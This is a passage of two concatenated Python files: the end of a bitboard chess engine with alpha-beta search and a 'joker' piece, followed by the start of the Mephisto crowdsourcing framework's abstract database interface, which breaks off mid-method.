ROOK ========== def get_rooks(board, color): return list2int([i == color | ROOK for i in board]) def rook_rays(moving_piece): return rank_rays(moving_piece) | file_rays(moving_piece) def rank_rays(moving_piece): return east_ray(moving_piece) | west_ray(moving_piece) def file_rays(moving_piece): return north_ray(moving_piece) | south_ray(moving_piece) def east_ray(moving_piece): ray_atks = east_one(moving_piece) for _ in range(6): ray_atks |= east_one(ray_atks) return ray_atks & ALL_SQUARES def west_ray(moving_piece): ray_atks = west_one(moving_piece) for _ in range(6): ray_atks |= west_one(ray_atks) return ray_atks & ALL_SQUARES def north_ray(moving_piece): ray_atks = north_one(moving_piece) for _ in range(6): ray_atks |= north_one(ray_atks) return ray_atks & ALL_SQUARES def south_ray(moving_piece): ray_atks = south_one(moving_piece) for _ in range(6): ray_atks |= south_one(ray_atks) return ray_atks & ALL_SQUARES def east_attacks(single_piece, board, color): blocker = lsb(east_ray(single_piece) & occupied_squares(board)) if blocker: return east_ray(single_piece) ^ east_ray(blocker) else: return east_ray(single_piece) def west_attacks(single_piece, board, color): blocker = msb(west_ray(single_piece) & occupied_squares(board)) if blocker: return west_ray(single_piece) ^ west_ray(blocker) else: return west_ray(single_piece) def rank_attacks(single_piece, board, color): return east_attacks(single_piece, board, color) | west_attacks(single_piece, board, color) def north_attacks(single_piece, board, color): blocker = lsb(north_ray(single_piece) & occupied_squares(board)) if blocker: return north_ray(single_piece) ^ north_ray(blocker) else: return north_ray(single_piece) def south_attacks(single_piece, board, color): blocker = msb(south_ray(single_piece) & occupied_squares(board)) if blocker: return south_ray(single_piece) ^ south_ray(blocker) else: return south_ray(single_piece) def file_attacks(single_piece, board, color): return north_attacks(single_piece, board, color) | south_attacks(single_piece, board, color) def rook_attacks(moving_piece, board, color): atks = 0 for single_piece in single_gen(moving_piece): atks |= rank_attacks(single_piece, board, color) | file_attacks(single_piece, board, color) return atks def rook_moves(moving_piece, board, color): return rook_attacks(moving_piece, board, color) & nnot(get_colored_pieces(board, color)) # ========== QUEEN ========== def get_queen(board, color): return list2int([i == color | QUEEN for i in board]) def queen_rays(moving_piece): return rook_rays(moving_piece) | bishop_rays(moving_piece) def queen_attacks(moving_piece, board, color): return bishop_attacks(moving_piece, board, color) | rook_attacks(moving_piece, board, color) def queen_moves(moving_piece, board, color): return bishop_moves(moving_piece, board, color) | rook_moves(moving_piece, board, color) # ========== JOKER ========== def joker_rays(moving_piece): return queen_rays(moving_piece) def joker_attacks(moving_piece, board, color): return queen_attacks(moving_piece, board, color) | knight_attacks(moving_piece) def joker_moves(moving_piece, board, color): return queen_moves(moving_piece, board, color) | knight_moves(moving_piece, board, color) # =========================== def is_attacked(target, board, attacking_color): return count_attacks(target, board, attacking_color) > 0 def is_check(board, color): return is_attacked(get_king(board, color), board, opposing_color(color)) def get_attacks(moving_piece, board, color): piece = board[bb2index(moving_piece)] if piece & PIECE_MASK == PAWN: return pawn_attacks(moving_piece, board, color) elif piece & PIECE_MASK == KNIGHT: return knight_attacks(moving_piece) elif piece & PIECE_MASK == BISHOP: return bishop_attacks(moving_piece, board, color) elif piece & PIECE_MASK == ROOK: return rook_attacks(moving_piece, board, color) elif piece & PIECE_MASK == QUEEN: return queen_attacks(moving_piece, board, color) elif piece & PIECE_MASK == KING: return king_attacks(moving_piece) elif piece & PIECE_MASK == JOKER: return joker_attacks(moving_piece, board, color) def get_moves(moving_piece, game, color): piece = game.board[bb2index(moving_piece)] if piece & PIECE_MASK == PAWN: return pawn_moves(moving_piece, game, color) elif piece & PIECE_MASK == KNIGHT: return knight_moves(moving_piece, game.board, color) elif piece & PIECE_MASK == BISHOP: return bishop_moves(moving_piece, game.board, color) elif piece & PIECE_MASK == ROOK: return rook_moves(moving_piece, game.board, color) elif piece & PIECE_MASK == QUEEN: return queen_moves(moving_piece, game.board, color) elif piece & PIECE_MASK == KING: return king_moves(moving_piece, game.board, color) elif piece & PIECE_MASK == JOKER: return joker_moves(moving_piece, game.board, color) def count_attacks(target, board, attacking_color): attack_count = 0 for index in range(64): piece = board[index] if piece != EMPTY and piece & COLOR_MASK == attacking_color: pos = 0b1 << index if get_attacks(pos, board, attacking_color) & target: attack_count += 1 return attack_count def material_sum(board, color): material = 0 for piece in board: if piece & COLOR_MASK == color: material += PIECE_VALUES[piece & PIECE_MASK] return material def material_balance(board): return material_sum(board, WHITE) - material_sum(board, BLACK) def mobility_balance(game): return count_legal_moves(game, WHITE) - count_legal_moves(game, BLACK) def evaluate_game(game): if game_ended(game): return evaluate_end_node(game) else: return material_balance(game.board) + positional_balance(game) # + 10*mobility_balance(game) def evaluate_end_node(game): if is_checkmate(game, game.to_move): return win_score(game.to_move) elif is_stalemate(game) or \ has_insufficient_material(game) or \ is_under_75_move_rule(game): return 0 def positional_balance(game): return positional_bonus(game, WHITE) - positional_bonus(game, BLACK) def positional_bonus(game, color): bonus = 0 if color == WHITE: board = game.board elif color == BLACK: board = flip_board_v(game.board) for index in range(64): piece = board[index] if piece != EMPTY and piece & COLOR_MASK == color: piece_type = piece & PIECE_MASK if piece_type == PAWN: bonus += PAWN_BONUS[index] elif piece_type == KNIGHT: bonus += KNIGHT_BONUS[index] elif piece_type == BISHOP: bonus += BISHOP_BONUS[index] elif piece_type == ROOK: position = 0b1 << index if is_open_file(position, board): bonus += ROOK_OPEN_FILE_BONUS elif is_semi_open_file(position, board): bonus += ROOK_SEMI_OPEN_FILE_BONUS if position & RANK_7: bonus += ROOK_ON_SEVENTH_BONUS elif piece_type == KING: if is_endgame(board): bonus += KING_ENDGAME_BONUS[index] else: bonus += KING_BONUS[index] return bonus def is_endgame(board): return count_pieces(occupied_squares(board)) <= ENDGAME_PIECE_COUNT def is_open_file(bitboard, board): for f in FILES: rank_filter = get_file(f) if bitboard & rank_filter: return count_pieces(get_all_pawns(board) & rank_filter) == 0 def is_semi_open_file(bitboard, board): for f in FILES: rank_filter = get_file(f) if bitboard & rank_filter: return count_pieces(get_all_pawns(board) & rank_filter) == 1 def count_pieces(bitboard): return bin(bitboard).count("1") def win_score(color): if color == WHITE: return -10 * PIECE_VALUES[KING] if color == BLACK: return 10 * PIECE_VALUES[KING] def pseudo_legal_moves(game, color): for index in range(64): piece = game.board[index] if piece != EMPTY and piece & COLOR_MASK == color: piece_pos = 0b1 << index for target in single_gen(get_moves(piece_pos, game, color)): yield (piece_pos, target) if can_castle_kingside(game, color): yield (get_king(game.board, color), east_one(east_one(get_king(game.board, color)))) if can_castle_queenside(game, color): yield (get_king(game.board, color), west_one(west_one(get_king(game.board, color)))) def legal_moves(game, color): for move in pseudo_legal_moves(game, color): if is_legal_move(game, move): yield move def is_legal_move(game, move): new_game = make_move(game, move) return not is_check(new_game.board, game.to_move) def count_legal_moves(game, color): move_count = 0 for _ in legal_moves(game, color): move_count += 1 return move_count def is_stalemate(game): for _ in legal_moves(game, game.to_move): return False return not is_check(game.board, game.to_move) def is_checkmate(game, color): for _ in legal_moves(game, game.to_move): return False return is_check(game.board, color) def is_same_position(FEN_a, FEN_b): FEN_a_list = FEN_a.split(' ') FEN_b_list = FEN_b.split(' ') return FEN_a_list[0] == FEN_b_list[0] and \ FEN_a_list[1] == FEN_b_list[1] and \ FEN_a_list[2] == FEN_b_list[2] and \ FEN_a_list[3] == FEN_b_list[3] def has_threefold_repetition(game): current_pos = game.position_history[-1] position_count = 0 for position in game.position_history: if is_same_position(current_pos, position): position_count += 1 return position_count >= 3 def is_under_50_move_rule(game): return game.halfmove_clock >= 100 def is_under_75_move_rule(game): return game.halfmove_clock >= 150 def has_insufficient_material(game): # TODO: other insufficient positions if material_sum(game.board, WHITE) + material_sum(game.board, BLACK) == 2 * PIECE_VALUES[KING]: return True if material_sum(game.board, WHITE) == PIECE_VALUES[KING]: if material_sum(game.board, BLACK) == PIECE_VALUES[KING] + PIECE_VALUES[KNIGHT] and \ (get_knights(game.board, BLACK) != 0 or get_bishops(game.board, BLACK) != 0): return True if material_sum(game.board, BLACK) == PIECE_VALUES[KING]: if material_sum(game.board, WHITE) == PIECE_VALUES[KING] + PIECE_VALUES[KNIGHT] and \ (get_knights(game.board, WHITE) != 0 or get_bishops(game.board, WHITE) != 0): return True return False def game_ended(game): return is_checkmate(game, WHITE) or \ is_checkmate(game, BLACK) or \ is_stalemate(game) or \ has_insufficient_material(game) or \ is_under_75_move_rule(game) def random_move(game, color): return choice(legal_moves(game, color)) def evaluated_move(game, color): best_score = win_score(color) best_moves = [] for move in legal_moves(game, color): evaluation = evaluate_game(make_move(game, move)) if is_checkmate(make_move(game, move), opposing_color(game.to_move)): return [move, evaluation] if (color == WHITE and evaluation > best_score) or \ (color == BLACK and evaluation < best_score): best_score = evaluation best_moves = [move] elif evaluation == best_score: best_moves.append(move) return [choice(best_moves), best_score] def minimax(game, color, depth=1): if game_ended(game): return [None, evaluate_game(game)] [simple_move, simple_evaluation] = evaluated_move(game, color) if depth == 1 or \ simple_evaluation == win_score(opposing_color(color)): return [simple_move, simple_evaluation] best_score = win_score(color) best_moves = [] for move in legal_moves(game, color): his_game = make_move(game, move) if is_checkmate(his_game, his_game.to_move): return [move, win_score(his_game.to_move)] [_, evaluation] = minimax(his_game, opposing_color(color), depth - 1) if evaluation == win_score(opposing_color(color)): return [move, evaluation] if (color == WHITE and evaluation > best_score) or \ (color == BLACK and evaluation < best_score): best_score = evaluation best_moves = [move] elif evaluation == best_score: best_moves.append(move) return [choice(best_moves), best_score] def alpha_beta(game, color, depth, alpha=-float('inf'), beta=float('inf')): if game_ended(game): return [None, evaluate_game(game)] [simple_move, simple_evaluation] = evaluated_move(game, color) if depth == 1 or \ simple_evaluation == win_score(opposing_color(color)): return [simple_move, simple_evaluation] best_moves = [] if color == WHITE: for move in legal_moves(game, color): if verbose: print('\t' * depth + str(depth) + '. evaluating ' + PIECE_CODES[ get_piece(game.board, move[0])] + move2str(move)) new_game = make_move(game, move) [_, score] = alpha_beta(new_game, opposing_color(color), depth - 1, alpha, beta) if verbose: print('\t' * depth + str(depth) + '. ' + str(score) + ' [{},{}]'.format(alpha, beta)) if score == win_score(opposing_color(color)): return [move, score] if score == alpha: best_moves.append(move) if score > alpha: # white maximizes her score alpha = score best_moves = [move] if alpha > beta: # alpha-beta cutoff if verbose: print('\t' * depth + 'cutoff') break if best_moves: return [choice(best_moves), alpha] else: return [None, alpha] if color == BLACK: for move in legal_moves(game, color): if verbose: print('\t' * depth + str(depth) + '. evaluating ' + PIECE_CODES[ get_piece(game.board, move[0])] + move2str(move)) new_game = make_move(game, move) [_, score] = alpha_beta(new_game, opposing_color(color), depth - 1, alpha, beta) if verbose: print('\t' * depth + str(depth) + '. ' + str(score) + ' [{},{}]'.format(alpha, beta)) if score == win_score(opposing_color(color)): return [move, score] if score == beta: best_moves.append(move) if score < beta: # black minimizes his score beta = score best_moves = [move] if alpha > beta: # alpha-beta cutoff if verbose: print('\t' * depth + 'cutoff') break if best_moves: return [choice(best_moves), beta] else: return [None, beta] def parse_move_code(game, move_code): move_code = move_code.replace(" ", "") move_code = move_code.replace("x", "") if move_code.upper() == 'O-O' or move_code == '0-0': if can_castle_kingside(game, game.to_move): return castle_kingside_move(game) if move_code.upper() == 'O-O-O' or move_code == '0-0-0': if can_castle_queenside(game, game.to_move): return castle_queenside_move(game) if len(move_code) < 2 or len(move_code) > 4: return False if len(move_code) == 4: filter_squares = get_filter(move_code[1]) else: filter_squares = ALL_SQUARES destination_str = move_code[-2:] if destination_str[0] in FILES and destination_str[1] in RANKS: target_square = str2bb(destination_str) else: return False if len(move_code) == 2: piece = PAWN else: piece_code = move_code[0] if piece_code in FILES: piece = PAWN filter_squares = get_filter(piece_code) elif piece_code in PIECE_CODES: piece = PIECE_CODES[piece_code] & PIECE_MASK else: return False valid_moves = [] for move in legal_moves(game, game.to_move): if move[1] & target_square and \ move[0] & filter_squares and \ get_piece(game.board, move[0]) & PIECE_MASK == piece: valid_moves.append(move) if len(valid_moves) == 1: return valid_moves[0] else: return False def get_player_move(game): move = None while not move: move = parse_move_code(game, input()) if not move: print('Invalid move!') return move def get_AI_move(game, depth=2): if verbose: print('Searching best move for white...' if game.to_move == WHITE else 'Searching best move for black...') start_time = time() if find_in_book(game): move = get_book_move(game) else: # move = minimax(game, game.to_move, depth)[0] move = alpha_beta(game, game.to_move, depth)[0] end_time = time() if verbose: print('Found move ' + PIECE_CODES[get_piece(game.board, move[0])] + ' from ' + str( bb2str(move[0])) + ' to ' + str(bb2str(move[1])) + ' in {:.3f} seconds'.format( end_time - start_time) + ' ({},{})'.format(evaluate_game(game), evaluate_game(make_move(game, move)))) return move def print_outcome(game): print(get_outcome(game)) def get_outcome(game): if is_stalemate(game): return 'Draw by stalemate' if is_checkmate(game, WHITE): return 'BLACK wins!' if is_checkmate(game, BLACK): return 'WHITE wins!' if has_insufficient_material(game): return 'Draw by insufficient material!' if is_under_75_move_rule(game): return 'Draw by 75-move rule!' def play_as_white(game=Game()): print('Playing as white!') while True: print_board(game.board) if game_ended(game): break game = make_move(game, get_player_move(game)) print_board(game.board) if game_ended(game): break game = make_move(game, get_AI_move(game)) print_outcome(game) def play_as_black(game=Game()): print('Playing as black!') while True: print_rotated_board(game.board) if game_ended(game): break game = make_move(game, get_AI_move(game)) print_rotated_board(game.board) if game_ended(game): break game = make_move(game, get_player_move(game)) print_outcome(game) def watch_AI_game(game=Game(), sleep_seconds=0): print('Watching AI-vs-AI game!') while True: print_board(game.board) if game_ended(game): break game = make_move(game, get_AI_move(game)) sleep(sleep_seconds) print_outcome(game) def play_as(color): if color == WHITE: play_as_white() if color == BLACK: play_as_black() def play_random_color(): color = choice([WHITE, BLACK]) play_as(color) def find_in_book(game): if game.position_history[0] != INITIAL_FEN: return False openings = [] book_file = open("logic.txt") for line in book_file: if line.startswith(game.get_move_list()) and line.rstrip() > game.get_move_list(): openings.append(line.rstrip()) book_file.close() return openings def get_book_move(game): openings = find_in_book(game) chosen_opening = choice(openings) next_moves = chosen_opening.replace(game.get_move_list(), '').lstrip() move_str = next_moves.split(' ')[0] move = [str2bb(move_str[:2]), str2bb(move_str[-2:])] return move VjunetXuuftofi/Mephistomephisto/abstractions/database.py #!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import os import sqlite3 from prometheus_client import Histogram # type: ignore from abc import ABC, abstractmethod from mephisto.utils.dirs import get_data_dir from mephisto.operations.registry import ( get_crowd_provider_from_type, get_valid_provider_types, ) from typing import Mapping, Optional, Any, List, Dict from mephisto.data_model.agent import Agent, OnboardingAgent from mephisto.data_model.unit import Unit from mephisto.data_model.assignment import Assignment from mephisto.data_model.project import Project from mephisto.data_model.requester import Requester from mephisto.data_model.task import Task from mephisto.data_model.task_run import TaskRun from mephisto.data_model.worker import Worker from mephisto.data_model.qualification import Qualification, GrantedQualification # TODO(#101) investigate cursors for DB queries as the project scales class MephistoDBException(Exception): pass class EntryAlreadyExistsException(MephistoDBException): pass class EntryDoesNotExistException(MephistoDBException): pass # Initialize histogram for database latency DATABASE_LATENCY = Histogram( "database_latency_seconds", "Logging for db requests", ["method"] ) # Need all the specific decorators b/c cascading is not allowed in decorators # thanks to https://mail.python.org/pipermail/python-dev/2004-August/046711.html NEW_PROJECT_LATENCY = DATABASE_LATENCY.labels(method="new_project") GET_PROJECT_LATENCY = DATABASE_LATENCY.labels(method="get_project") FIND_PROJECTS_LATENCY = DATABASE_LATENCY.labels(method="find_projects") NEW_TASK_LATENCY = DATABASE_LATENCY.labels(method="new_task") GET_TASK_LATENCY = DATABASE_LATENCY.labels(method="get_task") FIND_TASKS_LATENCY = DATABASE_LATENCY.labels(method="find_tasks") UPDATE_TASK_LATENCY = DATABASE_LATENCY.labels(method="update_task") NEW_TASK_RUN_LATENCY = DATABASE_LATENCY.labels(method="new_task_run") GET_TASK_RUN_LATENCY = DATABASE_LATENCY.labels(method="get_task_run") FIND_TASK_RUNS_LATENCY = DATABASE_LATENCY.labels(method="find_task_runs") UPDATE_TASK_RUN_LATENCY = DATABASE_LATENCY.labels(method="update_task_run") NEW_ASSIGNMENT_LATENCY = DATABASE_LATENCY.labels(method="new_assignment") GET_ASSIGNMENT_LATENCY = DATABASE_LATENCY.labels(method="get_assignment") FIND_ASSIGNMENTS_LATENCY = DATABASE_LATENCY.labels(method="find_assignments") NEW_UNIT_LATENCY = DATABASE_LATENCY.labels(method="new_unit") GET_UNIT_LATENCY = DATABASE_LATENCY.labels(method="get_unit") FIND_UNITS_LATENCY = DATABASE_LATENCY.labels(method="find_units") UPDATE_UNIT_LATENCY = DATABASE_LATENCY.labels(method="update_unit") NEW_REQUESTER_LATENCY = DATABASE_LATENCY.labels(method="new_requester") GET_REQUESTER_LATENCY = DATABASE_LATENCY.labels(method="get_requester") FIND_REQUESTERS_LATENCY = DATABASE_LATENCY.labels(method="find_requesters") NEW_WORKER_LATENCY = DATABASE_LATENCY.labels(method="new_worker") GET_WORKER_LATENCY = DATABASE_LATENCY.labels(method="get_worker") FIND_WORKERS_LATENCY = DATABASE_LATENCY.labels(method="find_workers") NEW_AGENT_LATENCY = DATABASE_LATENCY.labels(method="new_agent") GET_AGENT_LATENCY = DATABASE_LATENCY.labels(method="get_agent") FIND_AGENTS_LATENCY = DATABASE_LATENCY.labels(method="find_agents") UPDATE_AGENT_LATENCY = DATABASE_LATENCY.labels(method="update_agent") CLEAR_UNIT_AGENT_ASSIGNMENT_LATENCY = DATABASE_LATENCY.labels( method="clear_unit_agent_assignment" ) NEW_ONBOARDING_AGENT_LATENCY = DATABASE_LATENCY.labels(method="new_onboarding_agent") GET_ONBOARDING_AGENT_LATENCY = DATABASE_LATENCY.labels(method="get_onboarding_agent") FIND_ONBOARDING_AGENTS_LATENCY = DATABASE_LATENCY.labels( method="find_onboarding_agents" ) UPDATE_ONBOARDING_AGENT_LATENCY = DATABASE_LATENCY.labels( method="update_onboarding_agent" ) MAKE_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels(method="make_qualification") GET_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels(method="get_qualification") FIND_QUALIFICATIONS_LATENCY = DATABASE_LATENCY.labels(method="find_qualifications") DELETE_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels(method="delete_qualification") GRANT_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels(method="grant_qualification") CHECK_GRANTED_QUALIFICATIONS_LATENCY = DATABASE_LATENCY.labels( method="check_granted_qualifications" ) GET_GRANTED_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels( method="get_granted_qualification" ) REVOKE_QUALIFICATION_LATENCY = DATABASE_LATENCY.labels(method="revoke_qualification") class MephistoDB(ABC): """ Provides the interface for all queries that are necessary for the Mephisto architecture to run as expected. All other databases should implement these methods to be used as the database that backs Mephisto. By default, we use a LocalMesphistoDB located at `mephisto/data/database.db` """ def __init__(self, database_path=None): """Ensure the database is set up and ready to handle data""" if database_path is None: database_path = os.path.join(get_data_dir(), "database.db") self.db_path = database_path self.db_root = os.path.dirname(self.db_path) self.init_tables() self.__provider_datastores: Dict[str, Any] = {} def get_db_path_for_provider(self, provider_type) -> str: """Get the path to store data for a specific provider in""" database_root = os.path.dirname(self.db_path) provider_root = os.path.join(database_root, provider_type) os.makedirs(provider_root, exist_ok=True) return provider_root def has_datastore_for_provider(self, provider_type: str) -> bool: """Determine if a datastore has been registered for the given provider""" return provider_type in self.__provider_datastores def get_datastore_for_provider(self, provider_type: str) -> Any: """Get the provider datastore registered with this db""" if provider_type not in self.__provider_datastores: # Register this provider for usage now ProviderClass = get_crowd_provider_from_type(provider_type) provider = ProviderClass(self) return self.__provider_datastores.get(provider_type) def set_datastore_for_provider(self, provider_type: str, datastore: Any) -> None: """Set the provider datastore registered with this db""" self.__provider_datastores[provider_type] = datastore def optimized_load( self, target_cls, db_id: str, row: Optional[Mapping[str, Any]] = None, ): """ Load the given class in an optimized fashion, if this DB has a more efficient way of storing and managing the data """ return None def cache_result(self, target_cls, value) -> None: """Opportunity to store the result class from a load""" return None @abstractmethod def shutdown(self) -> None: """Do whatever is required to close this database's resources""" raise NotImplementedError() @abstractmethod def init_tables(self) -> None: """ Initialize any tables that may be required to run this database. If this is an expensive operation, check to see if they already exist before trying to initialize """ raise NotImplementedError() @abstractmethod def _new_project(self, project_name: str) -> str: """new_project implementation""" raise NotImplementedError() @NEW_PROJECT_LATENCY.time() def new_project(self, project_name: str) -> str: """ Create a new project with the given project name. Raise EntryAlreadyExistsException if a project with this name has already been created. Project names are permanent, as changing directories later is painful. """ return self._new_project(project_name=project_name) @abstractmethod def _get_project(self, project_id: str) -> Mapping[str, Any]: """get_project implementation""" raise NotImplementedError() @GET_PROJECT_LATENCY.time() def get_project(self, project_id: str) -> Mapping[str, Any]: """ Return project's fields by the given project_id, raise EntryDoesNotExistException if no id exists in projects See Project for the expected returned mapping's fields """ return self._get_project(project_id=project_id) @abstractmethod def _find_projects(self, project_name: Optional[str] = None) -> List[Project]: """find_projects implementation""" raise NotImplementedError() @FIND_PROJECTS_LATENCY.time() def find_projects(self, project_name: Optional[str] = None) -> List[Project]: """ Try to find any project that matches the above. When called with no arguments, return all projects. """ return self._find_projects(project_name=project_name) @abstractmethod def _new_task( self, task_name: str, task_type: str, project_id: Optional[str] = None, ) -> str: """new_task implementation""" raise NotImplementedError() @NEW_TASK_LATENCY.time() def new_task( self, task_name: str, task_type: str, project_id: Optional[str] = None, ) -> str: """ Create a new task with the given task name. Raise EntryAlreadyExistsException if a task with this name has already been created. """ return self._new_task( task_name=task_name, task_type=task_type, project_id=project_id ) @abstractmethod def _get_task(self, task_id: str) -> Mapping[str, Any]: """get_task implementation""" raise NotImplementedError() @GET_TASK_LATENCY.time() def get_task(self, task_id: str) -> Mapping[str, Any]: """ Return task's fields by task_id, raise EntryDoesNotExistException if no id exists in tasks See Task for the expected fields for the returned mapping """ return self._get_task(task_id=task_id) @abstractmethod def _find_tasks( self, task_name: Optional[str] = None, project_id: Optional[str] = None, ) -> List[Task]: """find_tasks implementation""" raise NotImplementedError() @FIND_TASKS_LATENCY.time() def find_tasks( self, task_name: Optional[str] = None, project_id: Optional[str] = None, ) -> List[Task]: """ Try to find any task that matches the above. When called with no arguments, return all tasks. """ return self._find_tasks(task_name=task_name, project_id=project_id) @abstractmethod def _update_task( self, task_id: str, task_name: Optional[str] = None, project_id: Optional[str] = None, ) -> None: """update_task implementation""" raise NotImplementedError() @UPDATE_TASK_LATENCY.time() def update_task( self, task_id: str, task_name: Optional[str] = None, project_id: Optional[str] = None, ) -> None: """ Update the given task with the given parameters if possible, raise appropriate exception otherwise. Should only be runable if no runs have been created for this task """ self._update_task(task_id=task_id, task_name=task_name, project_id=project_id) @abstractmethod def _new_task_run( self, task_id: str, requester_id: str, init_params: str, provider_type: str, task_type: str, sandbox: bool = True, ) -> str: """new_task_run implementation""" raise NotImplementedError() @NEW_TASK_RUN_LATENCY.time() def new_task_run( self, task_id: str, requester_id: str, init_params: str, provider_type: str, task_type: str, sandbox: bool = True, ) -> str: """ Create a new task_run for the given task. Once a run is created, it should no longer be altered. The assignments and subassignments depend on the data set up within, as the launched task cannot be replaced and the requester can not be swapped mid-run. """ return self._new_task_run( task_id=task_id, requester_id=requester_id, init_params=init_params, provider_type=provider_type, task_type=task_type, sandbox=sandbox, ) @abstractmethod def _get_task_run(self, task_run_id: str) -> Mapping[str, Any]: """get_task_run implementation""" raise NotImplementedError() @GET_TASK_RUN_LATENCY.time() def get_task_run(self, task_run_id: str) -> Mapping[str, Any]: """ Return the given task_run's fields by task_run_id, raise EntryDoesNotExistException if no id exists in task_runs. See TaskRun for the expected fields to populate in the returned mapping """ return self._get_task_run(task_run_id=task_run_id) @abstractmethod def _find_task_runs( self, task_id: Optional[str] = None, requester_id: Optional[str] = None, is_completed: Optional[bool] = None, ) -> List[TaskRun]: """find_task_runs implementation""" raise NotImplementedError() @FIND_TASK_RUNS_LATENCY.time() def find_task_runs( self, task_id: Optional[str] = None, requester_id: Optional[str] = None, is_completed: Optional[bool] = None, ) -> List[TaskRun]: """ Try to find any task_run that matches the above. When called with no arguments, return all task_runs. """ return self._find_task_runs( task_id=task_id, requester_id=requester_id, is_completed=is_completed ) @abstractmethod def _update_task_run(self, task_run_id: str, is_completed: bool): """update_task_run implementation""" raise NotImplementedError() @UPDATE_TASK_RUN_LATENCY.time() def update_task_run(self, task_run_id: str, is_completed: bool): """ Update a task run. At the moment, can only update completion status """ return self._update_task_run(task_run_id=task_run_id, is_completed=is_completed) @abstractmethod def _new_assignment( self, task_id: str, task_run_id: str, requester_id: str, task_type: str, provider_type: str, sandbox: bool = True, ) -> str: """new_assignment implementation""" raise NotImplementedError() @NEW_ASSIGNMENT_LATENCY.time() def new_assignment( self, task_id: str, task_run_id: str, requester_id: str, task_type: str, provider_type: str, sandbox: bool = True, ) -> str: """ Create a new assignment for the given task Assignments should not be edited or altered once created """ return self._new_assignment( task_id=task_id, task_run_id=task_run_id, requester_id=requester_id, task_type=task_type, provider_type=provider_type, sandbox=sandbox, ) @abstractmethod def _get_assignment(self, assignment_id: str) -> Mapping[str, Any]: """get_assignment implementation""" raise NotImplementedError() @GET_ASSIGNMENT_LATENCY.time() def get_assignment(self, assignment_id: str) -> Mapping[str, Any]: """ Return assignment's fields by assignment_id, raise EntryDoesNotExistException if no id exists in tasks See Assignment for the expected fields for the returned mapping """ return self._get_assignment(assignment_id=assignment_id) @abstractmethod def _find_assignments( self, task_run_id: Optional[str] = None, task_id: Optional[str] = None, requester_id: Optional[str] = None, task_type: Optional[str] = None, provider_type: Optional[str] = None, sandbox: Optional[bool] = None, ) -> List[Assignment]: """find_assignments implementation""" raise NotImplementedError() @FIND_ASSIGNMENTS_LATENCY.time() def find_assignments( self, task_run_id: Optional[str] = None, task_id: Optional[str] = None, requester_id: Optional[str] = None, task_type: Optional[str] = None, provider_type: Optional[str] = None, sandbox: Optional[bool] = None, ) -> List[Assignment]: """ Try to find any task that matches the above. When called with no arguments, return all tasks. """ return self._find_assignments( task_run_id=task_run_id, task_id=task_id, requester_id=requester_id, task_type=task_type, provider_type=provider_type, sandbox=sandbox, ) @abstractmethod def _new_unit( self, task_id: str, task_run_id: str, requester_id: str, assignment_id: str, unit_index: int, pay_amount: float, provider_type: str, task_type: str, sandbox: bool = True, ) -> str: """new_unit implementation""" raise NotImplementedError() @NEW_UNIT_LATENCY.time() def new_unit( self, task_id: str, task_run_id: str, requester_id: str, assignment_id: str, unit_index: int, pay_amount: float, provider_type: str, task_type: str, sandbox: bool = True, ) -> str: """ Create a new unit with the given index. Raises EntryAlreadyExistsException if there is already a unit for the given assignment with the given index. """ return self._new_unit( task_id=task_id, task_run_id=task_run_id, requester_id=requester_id, assignment_id=assignment_id, unit_index=unit_index, pay_amount=pay_amount, provider_type=provider_type, task_type=task_type, sandbox=sandbox, ) @abstractmethod def _get_unit(self, unit_id: str) -> Mapping[str, Any]: """get_unit implementation""" raise NotImplementedError() @GET_UNIT_LATENCY.time() def get_unit(self, unit_id: str) -> Mapping[str, Any]: """ Return unit's fields by unit_id, raise EntryDoesNotExistException if no id exists in units See unit for the expected fields for the returned mapping """ return self._get_unit(unit_id=unit_id) @abstractmethod def _find_units( self, task_id: Optional[str] = None, task_run_id: Optional[str] = None, requester_id: Optional[str] = None, assignment_id: Optional[str] = None, unit_index: Optional[int] = None, provider_type: Optional[str] = None, task_type: Optional[str] = None, agent_id: Optional[str] = None, worker_id: Optional[str] = None, sandbox: Optional[bool] = None, status: Optional[str] = None, ) -> List[Unit]: """find_units implementation""" raise NotImplementedError() @FIND_UNITS_LATENCY.time() def find_units( self, task_id: Optional[str] = None, task_run_id: Optional[str] = None, requester_id: Optional[str] = None, assignment_id: Optional[str] = None, unit_index: Optional[int] = None, provider_type: Optional[str] = None, task_type: Optional[str] = None, agent_id: Optional[str] = None, worker_id: Optional[str] = None, sandbox: Optional[bool] = None, status: Optional[str] = None, ) -> List[Unit]: """ Try to find any unit that matches the above. When called with no arguments, return all units. """ return self._find_units( task_id=task_id, task_run_id=task_run_id, requester_id=requester_id, assignment_id=assignment_id, unit_index=unit_index, provider_type=provider_type, task_type=task_type, agent_id=agent_id, worker_id=worker_id, sandbox=sandbox, status=status, ) @abstractmethod def _clear_unit_agent_assignment(self, unit_id: str) -> None: """clear_unit_agent_assignment implementation""" raise NotImplementedError() @CLEAR_UNIT_AGENT_ASSIGNMENT_LATENCY.time() def clear_unit_agent_assignment(self, unit_id: str) -> None: """ Update the given unit by removing the agent that is assigned to it, thus updating the status to assignable. """ return self._clear_unit_agent_assignment(unit_id=unit_id) @abstractmethod def _update_unit( self, unit_id: str, agent_id: Optional[str] = None, status: Optional[str] = None ) -> None: """update_unit implementation""" raise NotImplementedError() @UPDATE_UNIT_LATENCY.time() def update_unit( self, unit_id: str, agent_id: Optional[str] = None, status: Optional[str] = None ) -> None: """ Update the given task with the given parameters if possible, raise appropriate exception otherwise. """ return self._update_unit(unit_id=unit_id, status=status) @abstractmethod def _new_requester(self, requester_name: str, provider_type: str) -> str: """new_requester implementation""" raise NotImplementedError() @NEW_REQUESTER_LATENCY.time() def new_requester(self, requester_name: str, provider_type: str) -> str: """ Create a new requester with the given name and provider type. Raises EntryAlreadyExistsException if there is already a requester with this name """ return self._new_requester( requester_name=requester_name, provider_type=provider_type ) @abstractmethod def _get_requester(self, requester_id: str) -> Mapping[str, Any]: """get_requester implementation""" raise NotImplementedError() @GET_REQUESTER_LATENCY.time() def get_requester(self, requester_id: str) -> Mapping[str, Any]: """ Return requester's fields by requester_id, raise EntryDoesNotExistException if no id exists in requesters See requester for the expected fields for the returned mapping """ return self._get_requester(requester_id=requester_id) @abstractmethod def _find_requesters( self, requester_name: Optional[str] = None, provider_type: Optional[str] = 